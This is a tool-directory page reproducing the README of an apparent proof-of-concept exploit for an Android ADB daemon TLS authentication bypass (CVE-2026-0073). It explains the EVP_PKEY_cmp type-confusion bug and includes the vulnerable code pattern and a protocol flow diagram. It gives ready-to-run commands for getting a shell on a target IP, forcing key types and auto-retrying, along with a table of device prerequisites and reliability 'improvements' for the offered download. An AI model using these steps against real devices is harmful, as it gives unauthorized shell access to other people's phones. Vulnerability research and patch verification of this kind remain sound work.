Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-0073-Android-ADBD-bypass-POC — CVE-2026-0073 — Android ADB daemon (adbd) TLS authentication bypass via EVP_PKEY_cmp type confusion. Gain unauthorized shell access over WiFi using EC/Ed25519 key mismatch. PoC exploit for Android 14+. | Kitploit
Tools/GitHubGitHub/martinpsdev/cve-2026-0073-android-adbd-bypass-poc
Android SecurityVulnerability AnalysisExploitationPenetration TestingMobile SecurityRed Teaming
GitHubmartinpsdev/cve-2026-0073-android-adbd-bypass-poc

CVE-2026-0073-Android-ADBD-bypass-POC

CVE-2026-0073 — Android ADB daemon (adbd) TLS authentication bypass via EVP_PKEY_cmp type confusion. Gain unauthorized shell access over WiFi using EC/Ed25519 key mismatch. PoC exploit for Android 14+.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
2263 months agoReviewed by Kitploit

CVE-2026-0073 — Android ADBD TLS Auth Bypass

EVP_PKEY_cmp() type confusion → unauthorized ADB shell

Python 3.10+ CVE-2026-0073 Android License


🔥 Overview

A critical authentication bypass in Android's ADB daemon (adbd) allows any attacker on the local network to obtain a full shell on a target device without user authorization.

The vulnerability exists in adbd_tls_verify_cert() within daemon/auth.cpp, where EVP_PKEY_cmp() is used as a boolean. When the stored key is RSA and the presented TLS client certificate carries a non-RSA key (EC P-256 or Ed25519), EVP_PKEY_cmp() returns -1 (type mismatch), which is truthy in C/C++, so authorized = true.

root@kitploit:~
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) {  // ← BUG: -1 is truthy!
    authorized = true;
}

⚡ Quick Start

Install dependencies

root@kitploit:~
pip install cryptography

Run the exploit

root@kitploit:~
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>

# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

Force a specific key type

root@kitploit:~
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

By default, the script auto-tries EC P-256 → Ed25519 → EC/TLS 1.2 until one succeeds.


🎯 Exploit Flow

root@kitploit:~
   Attacker                          Target (adbd)
      │                                    │
      │──── TCP connect ──────────────────►│
      │──── CNXN (cleartext) ────────────►│
      │◄─── STLS (TLS upgrade request) ──│
      │──── STLS reply ──────────────────►│
      │                                    │
      │════ TLS 1.3 Handshake ════════════│
      │  (EC P-256 client cert presented)  │
      │  EVP_PKEY_cmp(EC, RSA) → -1       │
      │  -1 is truthy → authorized=true   │
      │════════════════════════════════════│
      │                                    │
      │◄─── CNXN (device info) ──────────│
      │──── OPEN "shell:" ───────────────►│
      │◄─── OKAY ────────────────────────│
      │◄──► WRTE/OKAY (shell I/O) ──────►│
      │                                    │
    [FULL SHELL ACCESS]                    │

📋 Prerequisites

RequirementDetails

⚠️ Important: The RSA key must be in /data/misc/adb/adb_keys, which is populated via USB debugging pairing (accepting the "Allow USB debugging?" dialog). Wireless debugging pairing (adb pair) stores keys in a different location (adb_known_hosts.pb) and does NOT satisfy this requirement.


🛡️ Affected Versions

  • Android 14 (AOSP) — ✅ Confirmed vulnerable
  • Android 15 (AOSP) — Likely vulnerable (unpatched builds)
  • Vendor-specific builds may vary (Samsung One UI, Pixel, etc.)

How to check the patch level

root@kitploit:~
adb shell getprop ro.build.version.security_patch

🧪 Testing Environment

Tested and confirmed working on:

root@kitploit:~
Kernel:   6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)

🔧 Improvements Over Original

This fork includes several enhancements:

  • ✅ Multi-key fallback — Auto-tries EC P-256 → Ed25519 → EC/TLS 1.2
  • ✅ Ed25519 support — Alternative key type for broader compatibility
  • ✅ TLS 1.2 fallback — Different client cert flow (sent during handshake vs post-handshake)
  • ✅ Enhanced certificate — Proper X.509 extensions (BasicConstraints, KeyUsage)
  • ✅ Windows compatible — Uses threaded I/O instead of select() for cross-platform support
  • ✅ Increased timeouts — Better reliability on slower networks
  • ✅ Verbose diagnostics — Detailed protocol trace with -v flag

📁 Project Structure

root@kitploit:~
CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py    # Main exploit script
└── README.md                 # This file

⚠️ Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The author assumes no liability for misuse of this software.


📚 References

  • CVE-2026-0073 — MITRE
  • Android Security Bulletin
  • OpenSSL EVP_PKEY_cmp documentation
  • ADB Protocol Reference

If this helped your research, drop a ⭐

Download Tool
EVP_PKEY_cmp() returnMeaningTruthy in C?Result
1Keys match✅Authorized (correct)
0Keys differ❌Rejected (correct)
-1Type mismatch✅Authorized (BUG)
Developer OptionsEnabled on target device
Wireless DebuggingEnabled (or ADB over TCP on port 5555)
Stored RSA keyDevice must have been USB-paired at least once (/data/misc/adb/adb_keys)
Network accessAttacker must reach the adbd TCP port